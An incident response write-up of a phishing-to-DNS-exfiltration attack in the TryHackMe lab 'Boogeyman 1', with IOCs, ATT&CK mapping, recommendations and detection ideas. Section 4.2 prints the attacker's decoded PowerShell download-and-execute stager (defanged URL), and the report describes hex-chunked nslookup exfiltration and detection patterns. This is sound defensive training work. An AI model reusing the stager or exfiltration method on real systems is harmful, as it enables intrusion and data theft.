Structured on the NIST SP 800-61 incident response lifecycle. TryHackMe room Boogeyman 1 (SOC Level 1 capstone), investigated without a walkthrough. Secrets (passwords, card data, room answers that are secrets) are redacted; all IOCs are defanged.
| Field | Value |
|---|---|
| Case ID | IR-2026-002 |
| Analyst | 0x8R41NR07 |
| Date of incident | 2023-01-13 (scenario) |
| Source | TryHackMe room Boogeyman 1 |
| Data | Phishing e-mail (.eml), attachment Invoice.zip, PowerShell Operational log as JSON (powershell.json), network capture (.pcap) |
| Tools used | Thunderbird, lnkparse, jq, grep, Wireshark, CyberChef |
| Classification | Phishing with a malicious shortcut → fileless PowerShell C2 → credential theft → data exfiltration over DNS |
1. Executive summary
On 13 January 2023 at 09:25 UTC, an employee of Quick Logistics LLC received a fake invoice reminder from a look-alike domain of a real supplier. The encrypted zip attachment contained a Windows shortcut disguised as an Excel file. Opening it started hidden PowerShell that loaded a command-and-control (C2) script straight into memory. Over that channel, the attacker enumerated the workstation, read a KeePass master password the user had stored in Microsoft Sticky Notes, and exfiltrated the user's KeePass database over DNS. All credentials stored in that database must be treated as compromised. Top recommendations: block the attacker domain, reset every credential in the stolen vault, and block encrypted archives and .lnk attachments at the mail gateway.
2. Scenario
A user reported a suspicious invoice e-mail after opening its attachment. Questions to answer:
- Who sent the mail, and how was it made to look legitimate?
- What did the attachment do when it was opened?
- Which infrastructure did the attacker use (file hosting, C2)?
- What did the attacker do on the endpoint?
- What data left the network, how, and can it be used by the attacker?
3. Chain of events (2023-01-13)
Exact times were not collected for every step, so this is the attack in order, not a timestamped timeline. Two fixed points: the mail arrived at 09:25:26 UTC (.eml header), and the PowerShell log entries start around 17:12 UTC (powershell.json).
- Phishing mail delivered:
agriffin@bpakcaging[.]xyzsends the victim a fake invoice reminder. It has an encryptedInvoice.zipattached and the archive password in the body. (Source:.emlheader · T1566.001) - Victim opens the attachment: inside the zip is
Invoice_20230103.lnkwith an Excel icon. Opening it starts hidden PowerShell with a Base64-encoded command. (lnkparse · T1204.002, T1059.001, T1027) - Stager runs in memory: the decoded command downloads a script from
files.bpakcaging[.]xyz/updateand runs it straight away (iex … downloadstring). (lnkparse,powershell.json· T1105) - C2 channel is up: the script polls
cdn.bpakcaging[.]xyz:8080. It fetches commands with GET and sends the output back with POST. (powershell.json4104, pcap · T1071.001) - Discovery: the attacker downloads and runs Seatbelt (
sb.exe), then moves through the user's folders withcd/ls. (powershell.json· T1105, T1082, T1083) - Credential theft: the attacker downloads
sq3.exe(SQLite CLI) and reads the Sticky Notes databaseplum.sqlite. The note in it holds the KeePass master password. (powershell.json, pcap + CyberChef · T1552.001) - Exfiltration: the attacker finds
protected_data.kdbxinDocuments, hex-encodes it and sends it out in chunks asnslookupqueries to the attacker's domain. (powershell.json, pcap DNS · T1005, T1048)
4. Analysis
4.1 Initial access
- Evidence: the sender domain
bpakcaging[.]xyzdiffers by two swapped letters from the domain in the signature (bpackaging[.]xyz). The DKIM header shows the mail went through a third-party mail relay service, SendGrid. The attachment is an encrypted zip and the password is in the body. Archive scanners can't look inside encrypted archives, which is why the attacker encrypted it. - Interpretation: typosquatting + urgency (a payment "due" in a week) + a scanner-proof attachment: a targeted invoice phish.
- Confidence: High.
4.2 Execution
- Evidence: the zip contains
Invoice_20230103.lnkwith an Excel icon.lnkparseshows the real target ispowershell.exewith-nop -windowstyle hidden -enc <Base64>. Decoded (Base64, UTF-16LE):iex (new-object net.webclient).downloadstring('hxxp://files.bpakcaging[.]xyz/update') - Interpretation: no profile, no window, encoded command.
downloadstringpulls the next stage into memory andiexruns it immediately, so nothing is written to disk at this point (fileless). - Confidence: High.
4.3 Command and control, discovery
- Evidence: PowerShell script block logging (event 4104) records a polling loop to
cdn.bpakcaging[.]xyz:8080with a custom header. In the pcap, traffic to the file-hosting domain shows a Python HTTP server, and the command output goes back to the C2 in POST requests. The attacker downloadssb.exe(Seatbelt, an enumeration tool) withiwrand walks through the user's folders withcd/ls. - Interpretation: a simple HTTP C2: GET = "what should I run next", POST = "here's the result".
- Confidence: High.
4.4 Actions on objective / impact
- Evidence: the attacker downloads
sq3.exeand queries…\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite. The C2 response in the pcap is a list of decimal numbers; decoded in CyberChef (From Decimal), it is the content of a sticky note holding the KeePass master password (redacted). ThenC:\Users\j.westcott\Documents\protected_data.kdbxis hex-encoded and sent out as subdomain chunks innslookupqueries to the attacker's domain. - Interpretation: the attacker stole both the password vault and its master password, so the vault can be opened. Inside it was at least one payment card number (redacted).
- Impact: every credential in the vault is compromised, and the payment card has to be blocked.
- Confidence: High.
5. Indicators of compromise
| Type | Value (defanged) | Context |
|---|---|---|
agriffin@bpakcaging[.]xyz |
Phishing sender | |
| Domain | bpakcaging[.]xyz |
Typosquat of bpackaging[.]xyz |
| Domain | files.bpakcaging[.]xyz |
File hosting (stager, tools) |
| Domain | cdn.bpakcaging[.]xyz (port 8080) |
C2 |
| URL | hxxp://files.bpakcaging[.]xyz/update |
PowerShell stager |
| File | Invoice.zip → Invoice_20230103.lnk |
Initial payload |
| File | sb.exe |
Seatbelt |
| File | sq3.exe |
SQLite CLI |
| Host / user | QL-WKSTN-5693 / j.westcott |
Victim |
6. MITRE ATT&CK summary
| Tactic | Technique | ID |
|---|---|---|
| Initial Access | Spearphishing Attachment | T1566.001 |
| Execution | User Execution: Malicious File | T1204.002 |
| Execution | Command and Scripting Interpreter: PowerShell | T1059.001 |
| Defense Evasion | Obfuscated Files or Information | T1027 |
| Command and Control | Ingress Tool Transfer | T1105 |
| Command and Control | Application Layer Protocol: Web Protocols | T1071.001 |
| Discovery | System Information Discovery | T1082 |
| Discovery | File and Directory Discovery | T1083 |
| Credential Access | Unsecured Credentials: Credentials In Files | T1552.001 |
| Collection | Data from Local System | T1005 |
| Exfiltration | Exfiltration Over Alternative Protocol (DNS) | T1048 |
7. Response recommendations (NIST 800-61 phases)
- Containment: isolate
QL-WKSTN-5693; blockbpakcaging[.]xyzand all its subdomains at DNS, proxy and mail gateway; search the mail logs for the same sender or subject reaching other users. - Eradication: remove the downloaded tools; check the host for persistence (none was seen in the logs provided, but the C2 was live, so verify); reimage if in doubt.
- Recovery: treat the whole KeePass vault as compromised: reset every password in it, block and replace the payment card, then issue a new vault with a new master password.
- Lessons learned / prevention: quarantine encrypted archives and
.lnkattachments at the mail gateway; flag look-alike sender domains; user awareness: a master password never goes on a sticky note; keep PowerShell script block logging on (it is what made this investigation possible).
8. Detection opportunities
- Mail gateway (earliest): a sender domain one edit away from a known partner + an encrypted archive + the password in the body + a
.lnkinside. - Endpoint: process creation (Sysmon 1 / Security 4688) of
powershell.exewith-windowstyle hiddenand-enc, started byexplorer.exefrom a shortcut. - PowerShell 4104: script blocks containing
downloadstring+iex, oriwr … -outfile *.exe. - DNS: a burst of long, hex-looking subdomains of one domain from one host (exfiltration), especially from
nslookup.exe.
9. Analyst notes
- The JSON log was the turning point:
jq+grepturned thousands of events into the attacker's command history in one line. - The decimal-encoded C2 response looked like noise until CyberChef's From Decimal turned it into readable text.
- I first mapped the stager download to T1071; pulling a tool down is more precisely T1105 (Ingress Tool Transfer), while T1071 covers the ongoing C2 traffic.
- One detail I looked up online instead of finding it in the evidence: which software uses the
.kdbxfile extension (KeePass). - The hardest part was not the analysis but documenting it: remembering to take notes and screenshots as I went. For 30 years I've worked through problems silently, so documenting while I work is a habit I'm still building.
- Time: about 2 hours.
About the author
- 30 years in creative leadership (in the ad industry as a Creative Director) taught me one core skill: dissecting complex systems and finding the flaw before someone else does. My tech roots run back to 8-bit machine code on a C64 (yeah – 80s, baby!) Today, I’m combining that legacy hacker curiosity with modern threat detection and offensive security. BATTLE-TESTED LOGIC: Decades of high-pressure problem solving and systems analysis. HACKER MINDSET: I don't just follow playbooks; I reverse-engineer how the attack path actually works. CONTINOUS SKILL-UP: CompTIA Security+ certified (among other certs), building home labs, and constantly training for L1 ops to future Pentesting.
Comments
Join the discussionNo comments yet. Be the first to comment.



